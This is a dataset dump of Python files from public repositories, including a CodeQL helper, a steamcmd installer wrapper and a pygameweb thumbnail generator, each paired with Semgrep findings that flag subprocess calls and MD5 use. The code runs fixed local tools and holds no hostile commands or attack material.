"NO_VALIDATOR", "engine_kind": "OSS"}}}] | 5 | true | [
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args",
"rules.python.lang.security.audit.subprocess-shell-true"
] | [
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH"
] | [
75,
75,
75
] | [
75,
75,
75
] | [
20,
29,
40
] | [
73,
32,
44
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess funct... | [
7.5,
7.5,
7.5
] | [
"LOW",
"MEDIUM",
"HIGH"
] | [
"HIGH",
"MEDIUM",
"LOW"
] | run.py | /ctv/run.py | marchdf/ppm-analysis | Apache-2.0 | |
2024-11-18T19:07:19.005600+00:00 | 1,692,369,212,000 | b2dd10512a0161ccdba9543621588ac0c52c5547 | 3 | {
"blob_id": "b2dd10512a0161ccdba9543621588ac0c52c5547",
"branch_name": "refs/heads/main",
"committer_date": 1692369212000,
"content_id": "b016903cb3da0509f21fc83dd6cabf3225fcddc5",
"detected_licenses": [
"MIT"
],
"directory_id": "167c6226bc77c5daaedab007dfdad4377f588ef4",
"extension": "py",
"filename": "utils.py",
"fork_events_count": 1363,
"gha_created_at": 1533054951000,
"gha_event_created_at": 1694720210000,
"gha_language": "CodeQL",
"gha_license_id": "MIT",
"github_id": 143040428,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3084,
"license": "MIT",
"license_type": "permissive",
"path": "/misc/scripts/library-coverage/utils.py",
"provenance": "stack-edu-0054.json.gz:579141",
"repo_name": "github/codeql",
"revision_date": 1692369212000,
"revision_id": "d109637e2d7ab3b819812eb960c05cb31d9d2168",
"snapshot_id": "1eebb449a34f774db9e881b52cb8f7a1b1a53612",
"src_encoding": "UTF-8",
"star_events_count": 5987,
"url": "https://raw.githubusercontent.com/github/codeql/d109637e2d7ab3b819812eb960c05cb31d9d2168/misc/scripts/library-coverage/utils.py",
"visit_date": "2023-08-20T11:32:39.162059"
} | 2.515625 | stackv2 | import subprocess
import os
import csv
import shlex
import sys
def subprocess_run(cmd):
"""Runs a command through subprocess.run, with a few tweaks. Raises an Exception if exit code != 0."""
print(shlex.join(cmd))
try:
ret = subprocess.run(cmd, capture_output=True,
text=True, env=os.environ.copy(), check=True)
if (ret.stdout):
print(ret.stdout)
return ret
except subprocess.CalledProcessError as e:
if (e.stderr):
print(e.stderr)
raise e
def subprocess_check_output(cmd):
"""Runs a command through subprocess.check_output and returns its output"""
print(shlex.join(cmd))
return subprocess.check_output(cmd, text=True, env=os.environ.copy())
def create_empty_database(lang, extension, database, dbscheme=None):
"""Creates an empty database for the given language."""
subprocess_run(["codeql", "database", "init", "--language=" + lang,
"--source-root=/tmp/empty", "--allow-missing-source-root", database])
subprocess_run(["mkdir", "-p", database + "/src/tmp/empty"])
subprocess_run(["touch", database + "/src/tmp/empty/empty" + extension])
finalize_cmd = ["codeql", "database", "finalize",
database, "--no-pre-finalize"]
if dbscheme is not None:
for scheme in dbscheme:
if os.path.exists(scheme):
finalize_cmd.append("--dbscheme")
finalize_cmd.append(scheme)
break
subprocess_run(finalize_cmd)
def run_codeql_query(query, database, output, search_path):
"""Runs a codeql query on the given database."""
# --search-path is required when the CLI needs to upgrade the database scheme.
subprocess_run(["codeql", "query", "run", query, "--database", database,
"--output", output + ".bqrs", "--search-path", search_path])
subprocess_run(["codeql", "bqrs", "decode", output + ".bqrs",
"--format=csv", "--no-titles", "--output", output])
os.remove(output + ".bqrs")
class LanguageConfig:
def __init__(self, lang, capitalized_lang, ext, ql_path, dbscheme=None):
self.lang = lang
self.capitalized_lang = capitalized_lang
self.ext = ext
self.ql_path = ql_path
self.dbscheme = dbscheme
def read_cwes(path):
cwes = {}
with open(path) as csvfile:
reader = csv.reader(csvfile)
next(reader)
for row in reader:
# row: CWE-89,sql,SQL injection
cwe = row[0]
if cwe not in cwes:
cwes[cwe] = {
"sink": row[1],
"label": row[2]
}
return cwes
def check_file_exists(file):
if not os.path.exists(file):
print(f"Expected file '{file}' doesn't exist.", file=sys.stderr)
return False
return True
def download_artifact(repo, name, dir, run_id):
subprocess_run(["gh", "run", "download", "--repo",
repo, "--name", name, "--dir", dir, str(run_id)])
| 92 | 32.52 | 106 | 15 | 708 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_cd043d9356f476b8_399880ce", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 12, "line_end": 13, "column_start": 15, "column_end": 75, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/cd043d9356f476b8.py", "start": {"line": 12, "col": 15, "offset": 247}, "end": {"line": 13, "col": 75, "offset": 362}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_cd043d9356f476b8_4dd8846a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 12, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/cd043d9356f476b8.py", "start": {"line": 26, "col": 12, "offset": 705}, "end": {"line": 26, "col": 74, "offset": 767}, "extra": {"message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_cd043d9356f476b8_0a5cb078", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 69, "line_end": 69, "column_start": 10, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/cd043d9356f476b8.py", "start": {"line": 69, "col": 10, "offset": 2390}, "end": {"line": 69, "col": 20, "offset": 2400}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
12,
26
] | [
13,
26
] | [
15,
12
] | [
75,
74
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess functio... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | utils.py | /misc/scripts/library-coverage/utils.py | github/codeql | MIT | |
2024-11-18T19:07:21.774016+00:00 | 1,500,045,687,000 | 443bd5bdfce3e9197ffa6532d966c25f735232f0 | 3 | {
"blob_id": "443bd5bdfce3e9197ffa6532d966c25f735232f0",
"branch_name": "refs/heads/master",
"committer_date": 1500045687000,
"content_id": "38f70eb91be73828a46b85e82de517368027c08c",
"detected_licenses": [
"MIT"
],
"directory_id": "b1e217d9e2e07cae98cbe217b3d2bd39e6e93a9c",
"extension": "py",
"filename": "py_steamcmd_installer.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 97244331,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4191,
"license": "MIT",
"license_type": "permissive",
"path": "/py_steamcmd_installer.py",
"provenance": "stack-edu-0054.json.gz:579175",
"repo_name": "SRLut3t1um/py_steamcmd_installer",
"revision_date": 1500045687000,
"revision_id": "c861673546b489d772d481b3d73b54d0086cb0ad",
"snapshot_id": "3949b63ca142566717d2190048cded5cf11509a6",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/SRLut3t1um/py_steamcmd_installer/c861673546b489d772d481b3d73b54d0086cb0ad/py_steamcmd_installer.py",
"visit_date": "2021-01-01T04:47:22.541026"
} | 2.9375 | stackv2 | """Simple tool that handels the steamcmd to install apps and get the full output
works under Windows an Linux """
__author__ = "Tobias Liese"
__license__ = "MIT"
__version__ = 0.5
__maintainer__ = "Tobias Liese"
__email__ = "tobiasliese@outlook.com"
__status__ = "Beta"
import os
import logging
import platform
import logging
from sys import argv
def setup_logger():
debug_level = logging.INFO
logger = logging.getLogger(__name__)
logger.setLevel(debug_level)
# create a file handler
if not os.path.isdir("log"):
os.makedirs("log")
handler = logging.FileHandler('log/installer.log')
handler.setLevel(debug_level)
# create a logging format
formatter = logging.Formatter('[ %(levelname)s ] %(asctime)s %(message)s')
handler.setFormatter(formatter)
# add the handlers to the self.logger
logger.addHandler(handler)
return logger
class Steamcmd(object):
__platform = platform.system()
def __init__(self, path, logger=setup_logger()):
self.logger = logger
self.STEAMCMD_PATH = path
# This method should be overriten when using this libary
def handleOutput(self, output):
self.logger.debug(output)
def _installServer(self, app_id, path):
self.logger.info(
"Initiating server installation for steam app: " + str(app_id)
)
# Making sure the path to install the app to is absoulut
if not os.path.isabs(path):
path = os.path.abspath(path)
# Starting the installer function for the current running OS
if self.__platform == "Windows":
return self.__installSteamAppWindows(app_id, path)
elif self.__platform == "Linux":
return self.__installSteamAppLinux(app_id, path)
else:
"""
maybe add an option to install unsave this would just use the
Windows app install procedere
"""
raise NotImplementedError("OS not implemented")
def __installSteamAppWindows(self, appID, path):
"""
Under Windows we can simply PIPE the output from the started steamcmd
subprocess to get the full output
"""
from subprocess import Popen, PIPE
self.logger.info("Starting server installation")
return Popen(
[
self.STEAMCMD_PATH,
"+login", "anonymous",
"+force_install_dir", path,
"+app_update", str(appID),
"+quit"
],
stdout=PIPE
)
def __installSteamAppLinux(self, appID, path):
"""
Because under Linux steamcmd doesn't output the download process
in our PIPE we need to emulate a terminal that gives us the output
therefore pty is requiered under Linux
"""
import pty
# Creating a reader for our pty
def ptyReader(fd):
data = os.read(fd, 1024)
self.handleOutput(data.decode())
return data
self.logger.info("Starting server installation")
# spawn the pty
pty.spawn(
[
self.STEAMCMD_PATH,
"+login", "anonymous",
"+force_install_dir", path,
"+app_update", str(appID),
"+quit"
],
ptyReader)
# pty stopped here nothing more to do
exit()
def installServer(self, app_id, path):
process = self._installServer(app_id, path)
# Keeping process alive while subprocess in running
while process.poll() == None:
# getting theping process alive while subprocesses process output current line migth be empty
line = process.stdout.readline().decode()
# Process all lines that aren't empty
if len(line) >= 1:
output_parser(line)
self.logger.info("Finished installing")
if __name__ == "Main":
print("This File is a little libary and therefore not meant to be executed\
directly")
| 136 | 29.82 | 105 | 15 | 874 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_127851e124d7b21c_faf1a2c7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 79, "line_end": 88, "column_start": 16, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/127851e124d7b21c.py", "start": {"line": 79, "col": 16, "offset": 2313}, "end": {"line": 88, "col": 23, "offset": 2645}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
79
] | [
88
] | [
16
] | [
23
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | py_steamcmd_installer.py | /py_steamcmd_installer.py | SRLut3t1um/py_steamcmd_installer | MIT | |
2024-11-18T19:07:22.882187+00:00 | 1,489,134,398,000 | 0256b5b5836b9e2221f3f5077f826707bc0a7af4 | 3 | {
"blob_id": "0256b5b5836b9e2221f3f5077f826707bc0a7af4",
"branch_name": "refs/heads/master",
"committer_date": 1489134398000,
"content_id": "c923668423ff1dd995411d5cd44421b53a288151",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "67d6d4b02106d89976bc00988ef41e8f5c20395e",
"extension": "py",
"filename": "__init__.py",
"fork_events_count": 0,
"gha_created_at": 1489137258000,
"gha_event_created_at": 1489137259000,
"gha_language": null,
"gha_license_id": null,
"github_id": 84541709,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1198,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/pygameweb/thumb/__init__.py",
"provenance": "stack-edu-0054.json.gz:579188",
"repo_name": "leereilly/pygameweb",
"revision_date": 1489134398000,
"revision_id": "c4df39770716bf737f3379da987538fa32f9f3d8",
"snapshot_id": "c495ad7dc740f50c3047560653ab2a96873c8b33",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/leereilly/pygameweb/c4df39770716bf737f3379da987538fa32f9f3d8/pygameweb/thumb/__init__.py",
"visit_date": "2020-05-20T23:02:58.421918"
} | 2.953125 | stackv2 | """
"""
from hashlib import md5
from pathlib import Path
import os
import subprocess
def image_thumb(www_path:Path, fname, width:int, height:int, itype="jpg", quality:int=50):
"""Get the thumbnail fname. Make a thumbnail the image if it is not there.
:param www_path: where the thumbnails live.
:param fname: File name of image
:param width: Max width
:param height: Max height
:return: Thumbnail name
:Example:
image_thumb('./frontend/www/', '1.jpg', 100, 100)
"""
if fname is None:
return None
shots_path = www_path / 'shots'
thumb_path = www_path / 'thumb'
image = shots_path / fname
if '..' in fname:
raise ValueError('wat')
try:
filesize = os.path.getsize(image)
except FileNotFoundError:
return
the_string = f'thumb {fname} {width} {height} {filesize}'.encode('utf-8')
hash_fname = md5(the_string).hexdigest() + '.' + itype
dest = str(thumb_path / hash_fname)
if not os.path.exists(dest):
cmd = ['convert', '-quality', '50', str(image), '-resize', f'{width}x{height}', '+profile', '"*"', dest]
subprocess.check_call(cmd)
return f'/thumb/{hash_fname}'
| 43 | 26.86 | 112 | 12 | 318 | python | [{"finding_id": "semgrep_rules.python.lang.security.insecure-hash-algorithm-md5_2e7250179dfedaf6_c6beb3ce", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.insecure-hash-algorithm-md5", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 18, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-327: Use of a Broken or Risky Cryptographic Algorithm", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html", "title": null}, {"url": "https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability", "title": null}, {"url": "http://2012.sharcs.org/slides/stevens.pdf", "title": null}, {"url": "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.insecure-hash-algorithm-md5", "path": "/tmp/tmppq52ww6s/2e7250179dfedaf6.py", "start": {"line": 36, "col": 18, "offset": 899}, "end": {"line": 36, "col": 33, "offset": 914}, "extra": {"message": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.", "metadata": {"source-rule-url": "https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/blacklists/calls.py#L59", "cwe": ["CWE-327: Use of a Broken or Risky Cryptographic Algorithm"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A02:2021 - Cryptographic Failures", "A04:2025 - Cryptographic Failures"], "bandit-code": "B303", "asvs": {"control_id": "6.2.2 Insecure Custom Algorithm", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x14-V6-Cryptography.md#v62-algorithms", "section": "V6 Stored Cryptography Verification Requirements", "version": "4"}, "references": ["https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html", "https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability", "http://2012.sharcs.org/slides/stevens.pdf", "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html"], "category": "security", "technology": ["python"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_2e7250179dfedaf6_1e4f1cc3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'check_call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 9, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/2e7250179dfedaf6.py", "start": {"line": 41, "col": 9, "offset": 1136}, "end": {"line": 41, "col": 35, "offset": 1162}, "extra": {"message": "Detected subprocess function 'check_call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
41
] | [
41
] | [
9
] | [
35
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'check_call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | __init__.py | /pygameweb/thumb/__init__.py | leereilly/pygameweb | BSD-2-Clause | |
2024-11-18T19:07:28.273353+00:00 | 1,582,434,170,000 | 3a1fac162e27b2818e8abb6906c7ce4841357c8d | 2 | {
"blob_id": "3a1fac162e27b2818e8abb6906c7ce4841357c8d",
"branch_name": "refs/heads/master",
"committer_date": 1582434170000,
"content_id": "3b55ae492d26ab540a8dd9cc5c147b24b04b4ef1",
"detected_licenses": [
"MIT"
],
"directory_id": "e6a38f8150543d29effd883513b90757b3754db1",
"extension": "py",
"filename": "database.py",
"fork_events_count": 0,
"gha_created_at": 1581466053000,
"gha_event_created_at": 1670470570000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 239891110,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 18101,
"license": "MIT",
"license_type": "permissive",
"path": "/src/database.py",
"provenance": "stack-edu-0054.json.gz:579232",
"repo_name": "scottyskid/werebot_discord",
"revision_date": 1582434170000,
"revision_id": "3739d5582ca1ead464595c0a502eca5153d43011",
"snapshot_id": "7b5e56d2b7f07c3d34bc91477791e901947d57c1",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/scottyskid/werebot_discord/3739d5582ca1ead464595c0a502eca5153d43011/src/database.py",
"visit_date": "2022-12-22T23:52:44.599980"
} | 2.390625 | stackv2 | from __future__ import print_function
from datetime import datetime
import logging
import os
import sqlite3
from dotenv import load_dotenv
from gsheets import Sheets
import os.path
import pandas as pd
import globals
def create_database_tables():
with sqlite3.connect(globals.DB_FILE_LOCATION) as db:
try:
cursor = db.cursor()
# create table GAME
cursor.execute('''CREATE TABLE IF NOT EXISTS game(
game_id INTEGER PRIMARY KEY AUTOINCREMENT
,discord_category_id INTEGER NOT NULL
,discord_announce_message_id INTEGER
,game_name TEXT
,start_date DATE
,end_date DATE
,number_of_players INTEGER
,status TEXT
,phase TEXT
,game_length INTEGER
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
)''')
# create table CHANNEL
cursor.execute('''CREATE TABLE IF NOT EXISTS channel(
channel_id INTEGER PRIMARY KEY
,channel_name TEXT
,channel_order INTEGER
,channel_topic TEXT
,channel_type TEXT
,created_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
,modified_datetime DATETIME DEFAULT (datetime('now', 'localtime'))
)''')
# create table CHARACTER
cursor.execute('''CREATE TABLE IF NOT EXISTS character(
character_id INTEGER PRIMARY KEY
,character_display_name TEXT
,character_name TEXT
,weighting INTEGER
,max_duplicates INTEGER
,difficulty INTEGER
,starting_affiliation TEXT
,seen_affiliation TEXT
